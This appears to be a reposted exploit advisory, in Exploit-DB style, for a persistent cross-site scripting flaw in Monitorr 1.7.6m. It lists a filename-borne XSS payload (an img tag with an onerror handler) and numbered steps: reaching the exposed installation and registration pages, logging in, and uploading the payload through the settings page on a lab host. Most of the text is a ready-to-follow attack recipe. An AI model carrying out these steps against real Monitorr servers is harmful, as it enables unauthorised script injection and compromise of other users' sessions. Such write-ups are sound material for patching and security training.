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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Montiorr 1.7.6m - Persistent Cross-Site Scripting
# Date: 25/4/2021
# Exploit Author: Ahmad Shakla
# Software Link: https://github.com/Monitorr/Monitorr
# Tested on: Kali GNU/Linux 2020.2
# Detailed Bug Description : https://arabcyberclub.blogspot.com/2021/04/monitor-176m-file-upload-to-xss.html

An attacker can preform an XSS attack via image upload

Steps :

1)Create a payload with the following format : 
><img src=x onerror=alert("XSS")>.png

2) Install the database by going to the following link :
https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/_install.php

3)Register for a new account on the server by going to the following link :
https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/login.php?action=register

4)Login with your credentials on the following link :
https://monitorr.robyns-petshop.thm/assets/config/_installation/vendor/login.php

5)Go to the following link and upload the payload :
https://monitorr.robyns-petshop.thm/settings.php#services-configuration